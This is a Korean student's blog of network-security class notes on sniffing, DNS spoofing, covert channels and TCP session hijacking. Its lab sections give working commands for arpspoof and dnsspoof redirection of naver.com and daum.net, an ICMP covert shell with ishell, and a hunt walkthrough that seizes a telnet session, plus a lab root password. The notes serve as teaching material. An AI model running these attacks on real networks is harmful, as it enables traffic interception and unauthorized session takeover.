네트워크교육 42일차 (2022.03.03)

정상훈·2022년 3월 3일
0
post-thumbnail

스니핑

프러미스큐어스 모드

- MAC주소와 IP주소에 관계없이 모든 패킷을 스니퍼에게 넘겨주는것
- 리눅스나 유닉스 등의 운영체제에서는 랜 카드에 대한 모드 설정 가능
- 윈도우에서는 스니핑을 위한 드라이버 설치
- 스니핑 하려면 좋은 랜 카드 필요

바이패스 모드

- 패킷에 대한 분석까지 하드웨어로 구현되어 있는 랜 카드
- 기가바이트 단위의 백본 망에서 스니핑을 하기 위한 장비로 고가임

스니핑 툴

TCP Dump

- 리눅스에서 가장  본이 되는, 하지만 강력한 툴
- 처음에는 네트워크 관리를 위해 개발되었기 때문에 관리자 느낌이 강함
- TCP Dump로 획득한 증거 자료는 법적 효력이 있음.

스위칭 환경과 스니핑

스위치는 각 장비의 MAC주소를 확인하여 포트에 할당
자신에게 향하지 않은 패킷 외에는 받아볼 수 없어 스니핑을 막게됨
스위치가 스니핑을 막기위해 만들어진 장비는 아니지만 겨로가적으로는 저지하는 치명적인 장비

스푸핑

DNS 관련 공격방식

일반적인 시스템에서 이름을 주소로 변환하는데 사용되는 정보의 우선순위
hosts 파일 - DNS 캐시 - DNS 요청

1) hosts 파일
 /etc/hosts, C:\Windows\System32\Driver\etc\hosts
 hosts 파일 내의 내용을 공격자가 의도한 내용으로 변경할 경우, 그 정보에 따라 IP 획득
2) DNS 관련 공격
- 잘못된 DNS를 사용하도록 설정: 공유기 파밍
- DNS 요청에 대한 응답을 변조하는 공격 : DNS 스푸핑

DNS 스푸핑 방법

1) 클라이언트는 자신이 알고있는 DNS 서버로 DNS 요청을 전송
2) 공격자는 클라이언트가 전송하는 DNS 요청에 대해 요청을 모니터링 할 수 있도록 준비
3) 공격자는 클라이언트가 전송하는 DNS 요청을 확인한 후 해당 내용을 공격자가 의도한 주소로 연결하도록 조작된 DNS 패킷을 전송
4) 정상적인 DNS 서버로부터 정상 DNS 응답이 도착한다 하더라도 해당 내용은 무시됨

DNS 스푸핑 실습

BackTrack
ID: root
PW: qwer1234
GUI 실행 시 다음 명령 실행: startx

1) Backtrack에서 ARP Spoof 수행
arpspoof 192.168.100.2 -t 192.168.100.128 (CentOS에게 ARP Spoofing)

arpspoof 192.168.100.128 -t 192.168.100.2 (Gateway에게 ARP Spoofing)

fragrouter -B1 (패킷 릴레이 설정)

2) DNS Spoofing을 위한 hosts 파일 생성 (샘플)
192.168.100.134         www.naver.com
192.168.100.134         www.daum.net
192.168.100.134         *.naver.com
192.168.100.134         *.daum.net
123.123.123.123         *.nate.com

3) Backtrack에서 웹서비스 실행
service apache2 restart

4) 설정한 정보에 따라 DNS Spoofing 공격 수행
dnsspoof -f dnsspoof.hosts

은닉 채널

  • 1973년 램프슨에 의해 정의된 용어
  • 표면적인 목적 외의 정보나 은닉 메시지를 전송하기 위해 기본 통신 채널에 기생하는 통신 채널

은닉채널 실습

은닉채널 실습 - ishell
ICMP Echo Reply 내에 데이터를 은닉

ishell_latest.tar.gz 파일 다운로드 후 압축 해제

tar zxf ishell_latest.tar.gz

cd ISHELL_v0.2

실행파일 컴파일
make linux

1) 서버
./ishd

2) 클라이언트
./ish [ishd가 실행된 서버의 IP]

ackcmd 툴

  • ackcmd 툴은 ACK 패킷만 이용 (세션을 성립시키지 않음)
  • 실제로는 ACK 패킷 안에 숨겨진 데이터를 주고 받음.

세션 하이재킹

  • 세션을 가로챈다 라는 의미

  • 서버와 클라이언트 사이에 텔넷 TCP 연결을 기반으로 인증을 처리하는 서비스가 연결되어 있을 경우,
    기존 TCP 연결을 하이재킹하여 텔넷 세션을 인증없이 사용

TCP 세션 하이재킹

Non-blind attack

- 서버와 클라이언트가 통신할 때 TCP의 시퀀스 넘버를 제어의 문제점을 파고든 공격
공격 대상을 탐지할 수 있으며, 시퀀스 넘버를 알아낼 수 있음

Blind Attack(원격 세션 하이재킹)

공격 대상을 탐지할 수 없으며 시퀀스 넘버를 알아낼 수 없음

기본원리 실습

CentOS (nc Client)
Kali (nc Server)
BackTrack (Hacker)

1. kail에서 nc 서버 실행

nc -lvp 7777

2. BackTrack 에서 tcpdump 실행하여 모니터링

tcpdump tcp and port 7777

3. CentOs에서 nc서버에 연결

nc [Kali.ip] 7777

Rst플래그 전송

<참고>
15:55:42.173843 IP 192.168.100.129.51678 > 192.168.100.128.7777: Flags [F.], seq 1843074243, ack 3047909343, win 229, options [nop,nop,TS val 18063100 ecr 827144173], length 0
15:55:42.173866 IP 192.168.100.128.7777 > 192.168.100.129.51678: Flags [.], ack 1843074244, win 510, options [nop,nop,TS val 827145902 ecr 18063100], length 0

메시지를 포함한 패킷 전송

<참고>
15:58:43.555720 IP 192.168.100.129.51680 > 192.168.100.128.7777: Flags [P.], seq 3896731041:3896731047, ack 3365746642, win 229, options [nop,nop,TS val 18244484 ecr 827322629], length 6

TCP 세션 하이재킹 실습

1. 텔넷 서버 설정 (CentOS 7)

yum -y install telnet-server
systemctl start telnet.socket
firewall-cmd --add-service=telnet

2. 공격자 시스템에서 hunt 도구 다운로드 및 실행 (Backtrack)

tar zxf hunt-1.5bin.tgz
cd hunt-1.5
./hunt -i [인터페이스이름]

3. hunt에서 ARP Spoofing 및 Relay 설정

hunt메뉴에서 선택

d)     daemons rst/arp/sniff/mac	<= 스푸핑/릴레이 실행 메뉴 진입

a) arp spoof + arp relayer daemon	<= 도구 선택

s/k) start/stop relayer daemon	<= 릴레이 데몬 실행

a)   add host to host arp spoof	<= ARP Spoofing 설정 (공격대상)
src/dst host1 to arp spoof> 192.168.100.128	<= 공격대상1 지정 (CentOS)
host1 fake mac [EA:1A:DE:AD:BE:01]> 		<= ARP Spoofing 시 사용할 MAC
src/dst host2 to arp spoof> 192.168.100.131	<= 공격대상2 지정 (Kali)
host2 fake mac [EA:1A:DE:AD:BE:02]> 		<= ARP Spoofing 시 사용할 MAC
refresh interval sec [0]> 		<= ARP Spoofing 간격 (0: 한번만)

x 두번눌러 최상위 메뉴로 진입

4. 텔넷 클라이언트 연결

Kali의 터미널에서 다음 명령을 실행하여 텔넷 연결 후 로그인
#telnet [CentOS IP] 

5. 세션 하이재킹 공격

hunt에서 다음 메뉴 선택하여 공격

a)     arp/simple hijack (avoids ack storm if arp used)	<= 세션 하이재킹 공격 선택
연결이 감지되지 않을 경우, 현재 연결된 텔넷 클라이언트에서 아무 명령이나 실행 후 재확인

0) 192.168.100.131 [49982]     --> 192.168.100.128 [23]
감지된 연결 맨 앞의 번호를 입력
choose conn> 0

이후 연결에 관련된 몇가지 설정이 나오나, 기본값 입력 (엔터)
화면 전환 후 기존 텔넷 클라이언트에서 명령 실행 후 hunt 화면에 출력되는 것 확인

hunt에서 Ctrl + C 입력 후 기존 텔넷 클라이언트에서 명령을 실행해보고 잠시 후 hunt에서 세션을 가로챌 준비가 되면 키 입력할 것을 요청함

-- press any key> 
you took over the connection

키 입력 후 hunt가 세션을 탈취하고, 기존 텔넷 클라이언트는 연결을 소실함


profile
"@____

0개의 댓글